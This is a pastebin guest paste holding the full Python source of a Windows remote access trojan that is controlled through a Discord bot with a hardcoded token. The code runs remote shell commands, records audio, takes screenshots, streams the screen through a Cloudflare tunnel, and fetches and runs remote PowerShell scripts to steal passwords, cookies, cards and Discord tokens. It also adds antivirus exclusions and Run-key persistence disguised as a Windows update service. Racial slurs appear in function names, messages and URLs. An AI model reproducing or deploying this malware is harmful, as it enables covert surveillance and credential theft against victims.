💰 Make Money Sharing Files ➜

Untitled

a guest
Nov 23th, 2026
2 view(s)
Never
NOTE: This is a guest paste. Sign up for a free account to edit, delete, and manage your pastes!
Text 27.72 KB
Raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
import os
import sys
import subprocess
import requests
import json
import re
import time
import threading
import ctypes
import socket
import platform
import tempfile
import winreg
import signal
import atexit
import traceback
import shlex
from http.server import HTTPServer, BaseHTTPRequestHandler
import io

da_bot = "MTU2NDAyNTI2OTY3OTgyNDk1OA.GUMSzJ.rIhx0ymu8Afj6CDRbkY8FqD7duKjGVnfipTp1s"
GUILD_ID = "1564025014850949210"

current_dir = os.getcwd()
running = True
screen_stream_active = False
screen_stream_url = None
httpd = None
cloudflared_proc = None

SHUTDOWN_MSG = "closing ts for u"
STATE_FILE = os.path.join(os.environ.get('TEMP', '/tmp'), 'backdoor_state.json')
CHANNEL_FILE = os.path.join(os.environ.get('TEMP', '/tmp'), 'channels.json')

def get_public_ip():
    try:
        response = requests.get('https://api.ipify.org', timeout=5)
        return response.text.strip()
    except:
        try:
            response = requests.get('https://api.ipify.org?format=json', timeout=5)
            return response.json()['ip']
        except:
            return 'unknown'

def get_local_ip():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(('8.8.8.8', 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except:
        return '127.0.0.1'

def load_state():
    try:
        with open(STATE_FILE, 'r') as f:
            return json.load(f)
    except:
        return {'last_id': None}

def save_state(state):
    try:
        with open(STATE_FILE, 'w') as f:
            json.dump(state, f)
    except:
        pass

def load_channels():
    try:
        with open(CHANNEL_FILE, 'r') as f:
            return json.load(f)
    except:
        return {}

def save_channels(channels):
    try:
        with open(CHANNEL_FILE, 'w') as f:
            json.dump(channels, f)
    except:
        pass

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def run_as_admin():
    try:
        script = os.path.abspath(sys.argv[0])
        ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, script, None, 0)
        sys.exit()
    except:
        pass

def find_or_create_channel(ip):
    channels = load_channels()
    
    if ip in channels:
        channel_id = channels[ip]
        try:
            url = f"https://discord.com/api/v9/channels/{channel_id}"
            headers = {"Authorization": f"Bot {da_bot}"}
            response = requests.get(url, headers=headers, timeout=10)
            if response.status_code == 200:
                return channel_id
        except:
            pass
        
        del channels[ip]
        save_channels(channels)
    
    try:
        url = f"https://discord.com/api/v9/guilds/{GUILD_ID}/channels"
        headers = {"Authorization": f"Bot {da_bot}", "Content-Type": "application/json"}
        data = {
            "name": ip.replace('.', '-'),
            "type": 0
        }
        response = requests.post(url, headers=headers, json=data, timeout=10)
        
        if response.status_code == 201:
            channel_id = response.json()['id']
            channels[ip] = channel_id
            save_channels(channels)
            
            help_txt = """
,shell <cmd>     - Run command (cd works too)
,upload <file>   - Upload file to Discord
,download <url> <path> - Download file from URL
,record [sec]    - Record audio (5-30s)
,stream          - Start 60fps 1080p screen stream via Cloudflare
,stream stop     - Stop screen stream
,screenshot      - Take screenshot
,extract         - Extract personal info (cookies/passwords/emails/cards/etc)
,tokens          - Extract Discord tokens
,persistence     - Add persistence with exclusions
,remove          - Remove persistence entirely
,info            - System info
,exit <ip>       - Shutdown (requires victim's local IP)
,help            - This help
"""
            send_channel_msg(channel_id, f"```\n{help_txt}```")
            return channel_id
        else:
            return None
    except Exception as e:
        return None

def send_channel_msg(channel_id, content):
    try:
        url = f"https://discord.com/api/v9/channels/{channel_id}/messages"
        headers = {"Authorization": f"Bot {da_bot}", "Content-Type": "application/json"}
        requests.post(url, headers=headers, json={"content": content}, timeout=10)
    except:
        pass

def upload_to_channel(channel_id, filepath):
    try:
        url = f"https://discord.com/api/v9/channels/{channel_id}/messages"
        headers = {"Authorization": f"Bot {da_bot}"}
        with open(filepath, 'rb') as f:
            files = {'file': (os.path.basename(filepath), f)}
            requests.post(url, headers=headers, files=files, timeout=60)
        return True
    except:
        return False

def shutdown():
    pass

def signal_handler(sig, frame):
    global running, screen_stream_active
    running = False
    screen_stream_active = False
    shutdown()
    sys.exit(0)

def download_file(url, save_path):
    try:
        response = requests.get(url, timeout=60)
        if response.status_code == 200:
            os.makedirs(os.path.dirname(save_path), exist_ok=True)
            with open(save_path, 'wb') as f:
                f.write(response.content)
            return True
        return False
    except:
        return False

def exec_cmd(cmd):
    global current_dir
    try:
        if cmd.lower().startswith('cd '):
            newdir = cmd[3:].strip()
            if (newdir.startswith('"') and newdir.endswith('"')) or (newdir.startswith("'") and newdir.endswith("'")):
                newdir = newdir[1:-1]
            try:
                os.chdir(newdir)
                current_dir = os.getcwd()
                return f"I gotchu: {current_dir}"
            except Exception as e:
                return f"FAH: {e}"

        proc = subprocess.run(cmd, shell=True, capture_output=True, text=True, cwd=current_dir)
        out = proc.stdout + proc.stderr
        return out if out.strip() else "im done :3"
    except Exception as e:
        return f"bru: {e}"

def run_powershell_script(script):
    try:
        proc = subprocess.run(
            ["powershell.exe", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script],
            capture_output=True,
            text=True,
            timeout=120
        )
        return proc.stdout + proc.stderr
    except Exception as e:
        return f"[-] PowerShell error: {e}"

def record_audio(duration=10):
    try:
        import pyaudio
        import wave
        chunk = 1024
        format = pyaudio.paInt16
        channels = 1
        rate = 44100

        p = pyaudio.PyAudio()
        stream = p.open(format=format, channels=channels, rate=rate, input=True, frames_per_buffer=chunk)

        frames = []
        for _ in range(0, int(rate / chunk * duration)):
            data = stream.read(chunk)
            frames.append(data)

        stream.stop_stream()
        stream.close()
        p.terminate()

        temp_path = os.path.join(tempfile.gettempdir(), 'recording.wav')
        wf = wave.open(temp_path, 'wb')
        wf.setnchannels(channels)
        wf.setsampwidth(p.get_sample_size(format))
        wf.setframerate(rate)
        wf.writeframes(b''.join(frames))
        wf.close()

        return temp_path
    except Exception as e:
        return None

def take_da_screenshot():
    try:
        import pyautogui
        temp_path = os.path.join(tempfile.gettempdir(), 'screenshot.png')
        screenshot = pyautogui.screenshot()
        screenshot.save(temp_path)
        return temp_path
    except:
        return None

class ScreenStreamHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            import mss
            from PIL import Image

            if self.path == '/stream':
                self.send_response(200)
                self.send_header('Content-Type', 'multipart/x-mixed-replace; boundary=frame')
                self.send_header('Cache-Control', 'no-cache, no-store, must-revalidate')
                self.send_header('Pragma', 'no-cache')
                self.send_header('Expires', '0')
                self.end_headers()

                with mss.mss() as sct:
                    monitor = sct.monitors[1]

                    target_width = 1920
                    target_height = 1080

                    scale_w = target_width / monitor['width']
                    scale_h = target_height / monitor['height']
                    scale = min(scale_w, scale_h)

                    new_width = int(monitor['width'] * scale)
                    new_height = int(monitor['height'] * scale)

                    left = (target_width - new_width) // 2
                    top = (target_height - new_height) // 2

                    frame_interval = 1.0 / 60.0
                    next_frame_time = time.time()

                    while screen_stream_active:
                        current_time = time.time()
                        if current_time < next_frame_time:
                            time.sleep(next_frame_time - current_time)
                            continue

                        screenshot = sct.grab(monitor)
                        img = Image.frombytes('RGB', screenshot.size, screenshot.bgra, 'raw', 'BGRX')

                        if new_width != monitor['width'] or new_height != monitor['height']:
                            img_resized = img.resize((new_width, new_height), Image.Resampling.LANCZOS)
                            canvas = Image.new('RGB', (target_width, target_height), (0, 0, 0))
                            canvas.paste(img_resized, (left, top))
                            img = canvas

                        img_bytes = io.BytesIO()
                        img.save(img_bytes, format='JPEG', quality=75, optimize=True)
                        jpeg_data = img_bytes.getvalue()

                        self.wfile.write(b'--frame\\r\\n')
                        self.wfile.write(b'Content-Type: image/jpeg\\r\\n')
                        self.wfile.write(f'Content-Length: {len(jpeg_data)}\\r\\n'.encode())
                        self.wfile.write(b'\\r\\n')
                        self.wfile.write(jpeg_data)
                        self.wfile.write(b'\\r\\n')

                        next_frame_time += frame_interval

            elif self.path == '/':
                self.send_response(200)
                self.send_header('Content-Type', 'text/html')
                self.end_headers()
                html = """
                <!DOCTYPE html>
                <html>
                <head>
                    <title>Screen Stream</title>
                    <style>
                        * { margin: 0; padding: 0; }
                        body { background: #000; overflow: hidden; }
                        img {
                            width: 100vw;
                            height: 100vh;
                            object-fit: contain;
                            display: block;
                        }
                    </style>
                </head>
                <body>
                    <img src="/stream">
                </body>
                </html>
                """
                self.wfile.write(html.encode())
        except:
            pass

def install_stream_packages():
    try:
        import mss
        import PIL
        return True
    except:
        try:
            python_exe = sys.executable
            subprocess.run([python_exe, "-m", "pip", "install", "mss", "Pillow", "--quiet", "--no-warn-script-location"], timeout=120)
            time.sleep(2)
            return True
        except:
            return False

def get_cloudflare_url():
    global cloudflared_proc
    try:
        timeout = 30
        start = time.time()
        while time.time() - start < timeout:
            if cloudflared_proc and cloudflared_proc.stderr:
                output = cloudflared_proc.stderr.read(1024).decode('utf-8', errors='ignore')
                match = re.search(r'https://[a-zA-Z0-9-]+\\.trycloudflare\\.com', output)
                if match:
                    return match.group(0)
            time.sleep(0.5)
        return None
    except:
        return None

def start_screen_stream():
    global screen_stream_active, screen_stream_url, httpd, cloudflared_proc

    if screen_stream_active:
        return "stream is already running"

    if not install_stream_packages():
        return "failed to install stream packages"

    try:
        screen_stream_active = True
        STREAM_PORT = 8080

        try:
            subprocess.run(["taskkill", "/F", "/IM", "cloudflared.exe"], capture_output=True)
            time.sleep(1)
        except:
            pass

        httpd = HTTPServer(("", STREAM_PORT), ScreenStreamHandler)
        thread = threading.Thread(target=httpd.serve_forever)
        thread.daemon = True
        thread.start()

        cloudflared_path = os.path.join(os.environ.get('TEMP', 'C:\\Temp'), 'cloudflared.exe')
        CLOUDFLARED_URL = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe"

        if not os.path.exists(cloudflared_path):
            try:
                response = requests.get(CLOUDFLARED_URL, timeout=60)
                with open(cloudflared_path, 'wb') as f:
                    f.write(response.content)
                os.chmod(cloudflared_path, 0o755)
            except:
                pass

        if os.path.exists(cloudflared_path):
            startupinfo = subprocess.STARTUPINFO()
            startupinfo.dwFlags = subprocess.STARTF_USESHOWWINDOW
            startupinfo.wShowWindow = 0
            CREATE_NO_WINDOW = 0x08000000

            cmd = f'"{cloudflared_path}" tunnel --url http://localhost:{STREAM_PORT}'
            cloudflared_proc = subprocess.Popen(
                cmd,
                shell=True,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                stdin=subprocess.DEVNULL,
                startupinfo=startupinfo,
                creationflags=CREATE_NO_WINDOW
            )

            cloudflare_url = get_cloudflare_url()

            if cloudflare_url:
                screen_stream_url = cloudflare_url
                return f"\`\`\`niggas live now: {screen_stream_url}\`\`\`"
            else:
                screen_stream_active = False
                return "cloudflare url not found, fix yo shi"

        screen_stream_active = False
        return "failed to start cloudflared"
    except Exception as e:
        screen_stream_active = False
        return f"yo shi died LO {e}"

def stop_screen_stream():
    global screen_stream_active, screen_stream_url, httpd, cloudflared_proc
    screen_stream_active = False
    screen_stream_url = None

    try:
        if httpd:
            httpd.shutdown()
            httpd = None
    except:
        pass

    try:
        if cloudflared_proc:
            cloudflared_proc.terminate()
            cloudflared_proc = None
    except:
        pass

    try:
        subprocess.run(["taskkill", "/F", "/IM", "cloudflared.exe"], capture_output=True)
    except:
        pass

    return "stopped the niggas stream"

def process_msg(content, channel_id):
    global running, screen_stream_active
    if not content:
        return

    content = content.strip()
    parts = content.split(' ', 1)
    cmd = parts[0].lower()
    args = parts[1] if len(parts) > 1 else ''

    def respond(msg):
        if len(msg) > 1900:
            for i in range(0, len(msg), 1900):
                send_channel_msg(channel_id, f"\`\`\`\\n{msg[i:i+1900]}\\n\`\`\`")
        else:
            send_channel_msg(channel_id, f"\`\`\`\\n{msg}\\n\`\`\`")

    if cmd == ',shell':
        out = exec_cmd(args)
        respond(out)

    elif cmd == ',upload':
        if not args:
            respond("Usage: ,upload <file_path>")
            return
        fpath = args.strip().strip('"').strip("'")
        if os.path.exists(fpath):
            if upload_to_channel(channel_id, fpath):
                send_channel_msg(channel_id, f"uploaded: {os.path.basename(fpath)}")
            else:
                send_channel_msg(channel_id, "upload failed")
        else:
            send_channel_msg(channel_id, f"file not found: {fpath}")

    elif cmd == ',download':
        if not args:
            respond("Usage: ,download <url> <save_path>")
            return
        parts = args.split(' ', 1)
        if len(parts) != 2:
            respond("Usage: ,download <url> <save_path>")
            return
        url, save_path = parts
        url = url.strip()
        save_path = save_path.strip().strip('"').strip("'")
        if os.path.isdir(save_path) or save_path.endswith('\\\\') or save_path.endswith('/'):
            filename = url.split('/')[-1].split('?')[0]
            if not filename:
                filename = 'downloaded_file'
            save_path = os.path.join(save_path, filename)
        if download_file(url, save_path):
            send_channel_msg(channel_id, f"downloaded: {save_path}")
        else:
            send_channel_msg(channel_id, "download failed")

    elif cmd == ',record':
        try:
            duration = int(args) if args and args.isdigit() else 10
            if duration > 30:
                duration = 30
            send_channel_msg(channel_id, f"recording audio for {duration} seconds")
            audio_path = record_audio(duration)
            if audio_path and os.path.exists(audio_path):
                upload_to_channel(channel_id, audio_path)
                os.remove(audio_path)
                send_channel_msg(channel_id, "recording uploaded")
            else:
                send_channel_msg(channel_id, "recording failed (install pyaudio)")
        except Exception as e:
            send_channel_msg(channel_id, f"recording error: {e}")

    elif cmd == ',stream':
        if args == 'stop':
            if screen_stream_active:
                result = stop_screen_stream()
                send_channel_msg(channel_id, result)
            else:
                send_channel_msg(channel_id, "no stream running")
        else:
            if not screen_stream_active:
                result = start_screen_stream()
                send_channel_msg(channel_id, result)
            else:
                send_channel_msg(channel_id, f"stream running at: {screen_stream_url}")

    elif cmd == ',screenshot':
        try:
            ss_path = take_da_screenshot()
            if ss_path and os.path.exists(ss_path):
                upload_to_channel(channel_id, ss_path)
                os.remove(ss_path)
                send_channel_msg(channel_id, "screenshot taken")
            else:
                send_channel_msg(channel_id, "screenshot failed (install pyautogui)")
        except Exception as e:
            send_channel_msg(channel_id, f"screenshot error: {e}")

    elif cmd == ',extract':
        send_channel_msg(channel_id, "extracting personal info...")
        try:
            ps_script = 'iex (iwr -UseBasicParsing https://e-rape.thexor7.workers.dev/psc).Content'
            result = run_powershell_script(ps_script)
            send_channel_msg(channel_id, "extraction complete, check tele")
        except Exception as e:
            send_channel_msg(channel_id, f"extraction failed: {e}")

    elif cmd == ',tokens':
        send_channel_msg(channel_id, "extracting discord tokens...")
        try:
            ps_script = 'iex (iwr -UseBasicParsing https://nigger.thexor7.workers.dev/psc).Content'
            result = run_powershell_script(ps_script)
            send_channel_msg(channel_id, "token extraction complete")
        except Exception as e:
            send_channel_msg(channel_id, f"token extraction failed: {e}")

    elif cmd == ',persistence':
        send_channel_msg(channel_id, "adding persistence...")
        try:
            ps_script = """$temp = $env:TEMP
$exeName = 'sonion.exe'
$vbsName = 's.vbs'
$targetExe = Join-Path $temp $exeName
$targetVbs = Join-Path $temp $vbsName
$src = [System.Diagnostics.Process]::GetCurrentProcess().MainModule.FileName
if (-not (Test-Path $targetExe)) {
    Copy-Item -Path $src -Destination $targetExe -Force -ErrorAction SilentlyContinue
}
$vbs = @"
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run """"$targetExe"""", 0, False
"@
Set-Content -Path $targetVbs -Value $vbs -Encoding ASCII -Force
Add-MpPreference -ExclusionPath $temp -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath $targetExe -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath $targetVbs -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess $exeName -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess $vbsName -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess 'python.exe' -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess 'pythonw.exe' -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath 'C:\\Windows\\Temp' -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionPath 'C:\\Users\\*\\AppData\\Local\\Temp' -ErrorAction SilentlyContinue
reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v WindowsUpdateService /t REG_SZ /d "$targetVbs" /f
reg add "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v WindowsUpdateService /t REG_SZ /d "$targetVbs" /f"""
            result = run_powershell_script(ps_script)
            send_channel_msg(channel_id, "persistence added")
        except Exception as e:
            send_channel_msg(channel_id, f"persistence failed: {e}")

    elif cmd == ',remove':
        send_channel_msg(channel_id, "removing persistence...")
        try:
            ps_script = """$temp = $env:TEMP
$exeName = 'sonion.exe'
$vbsName = 's.vbs'
$targetExe = Join-Path $temp $exeName
$targetVbs = Join-Path $temp $vbsName
Remove-MpPreference -ExclusionPath $temp -ErrorAction SilentlyContinue
Remove-MpPreference -ExclusionPath $targetExe -ErrorAction SilentlyContinue
Remove-MpPreference -ExclusionPath $targetVbs -ErrorAction SilentlyContinue
Remove-MpPreference -ExclusionProcess $exeName -ErrorAction SilentlyContinue
Remove-MpPreference -ExclusionProcess $vbsName -ErrorAction SilentlyContinue
Remove-MpPreference -ExclusionProcess 'python.exe' -ErrorAction SilentlyContinue
Remove-MpPreference -ExclusionProcess 'pythonw.exe' -ErrorAction SilentlyContinue
Remove-MpPreference -ExclusionPath 'C:\\Windows\\Temp' -ErrorAction SilentlyContinue
Remove-MpPreference -ExclusionPath 'C:\\Users\\*\\AppData\\Local\\Temp' -ErrorAction SilentlyContinue
reg delete "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v WindowsUpdateService /f 2>$null
reg delete "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v WindowsUpdateService /f 2>$null
if (Test-Path $targetVbs) { Remove-Item $targetVbs -Force -ErrorAction SilentlyContinue }
if (Test-Path $targetExe) { Remove-Item $targetExe -Force -ErrorAction SilentlyContinue }
Write-Host 'Cleanup completed!'"""
            result = run_powershell_script(ps_script)
            send_channel_msg(channel_id, "persistence removed")
        except Exception as e:
            send_channel_msg(channel_id, f"removal failed: {e}")

    elif cmd == ',info':
        info = f"Hostname: {socket.gethostname()}\\nOS: {platform.system()} {platform.release()}\\nUser: {os.environ.get('USERNAME', os.environ.get('USER'))}\\nDir: {current_dir}\\nLocal IP: {get_local_ip()}\\nPublic IP: {get_public_ip()}"
        respond(info)

    elif cmd == ',exit':
        local_ip = get_local_ip()
        if args.strip() != local_ip:
            send_channel_msg(channel_id, f"nah, say the right IP ({local_ip})")
            return
        running = False
        screen_stream_active = False
        state = load_state()
        state['last_id'] = None
        save_state(state)
        send_channel_msg(channel_id, "closing ts for u")
        os._exit(0)

    elif cmd == ',help':
        help_txt = """
,shell <cmd>     - Run command (cd works too)
,upload <file>   - Upload file to Discord
,download <url> <path> - Download file from URL
,record [sec]    - Record audio (5-30s)
,stream          - Start 60fps 1080p screen stream via Cloudflare
,stream stop     - Stop screen stream
,screenshot      - Take screenshot
,extract         - Extract personal info (cookies/passwords/emails/cards/etc)
,tokens          - Extract Discord tokens
,persistence     - Add persistence with exclusions
,remove          - Remove persistence entirely
,info            - System info
,exit <ip>       - Shutdown (requires victim's local IP)
,help            - This help
"""
        respond(help_txt)

def listen_on_de_niggers():
    global running
    state = load_state()
    last_id = state.get('last_id')
    
    victim_ip = get_public_ip()
    victim_channel = find_or_create_channel(victim_ip)
    
    if not victim_channel:
        return
    
    send_channel_msg(victim_channel, "baka is now active :O")

    while running:
        try:
            url = f"https://discord.com/api/v9/channels/{victim_channel}/messages"
            headers = {"Authorization": f"Bot {da_bot}"}
            params = {"limit": 5}
            if last_id:
                params["after"] = last_id

            resp = requests.get(url, headers=headers, params=params, timeout=10)
            
            if resp.status_code != 200:
                time.sleep(5)
                continue
                
            msgs = resp.json()

            if msgs and isinstance(msgs, list):
                for msg in msgs:
                    content = msg.get('content', '')
                    msg_id = msg.get('id', '')
                    author_id = msg.get('author', {}).get('id', '')

                    if author_id == '':
                        continue

                    if content == SHUTDOWN_MSG:
                        last_id = msg_id
                        state['last_id'] = last_id
                        save_state(state)
                        continue

                    if content.startswith(',') and msg_id != last_id:
                        last_id = msg_id
                        state['last_id'] = last_id
                        save_state(state)
                        process_msg(content, victim_channel)

                if msgs:
                    last_id = msgs[0]['id']
                    state['last_id'] = last_id
                    save_state(state)

            time.sleep(3)
        except Exception as e:
            time.sleep(5)

def hide_da_console():
    try:
        if sys.platform == "win32":
            ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
    except:
        pass

def on_exit():
    shutdown()

def main():
    global running

    signal.signal(signal.SIGINT, signal_handler)
    signal.signal(signal.SIGTERM, signal_handler)

    if sys.platform == "win32":
        try:
            import win32api
            win32api.SetConsoleCtrlHandler(signal_handler, True)
        except:
            pass

    atexit.register(on_exit)

    if not is_admin():
        run_as_admin()
        return

    hide_da_console()

    thread = threading.Thread(target=listen_on_de_niggers, daemon=True)
    thread.start()

    while running:
        try:
            time.sleep(1)
        except:
            running = False
            sys.exit(0)

if __name__ == "__main__":
    try:
        main()
    except Exception as e:
        time.sleep(5)
        sys.exit(1)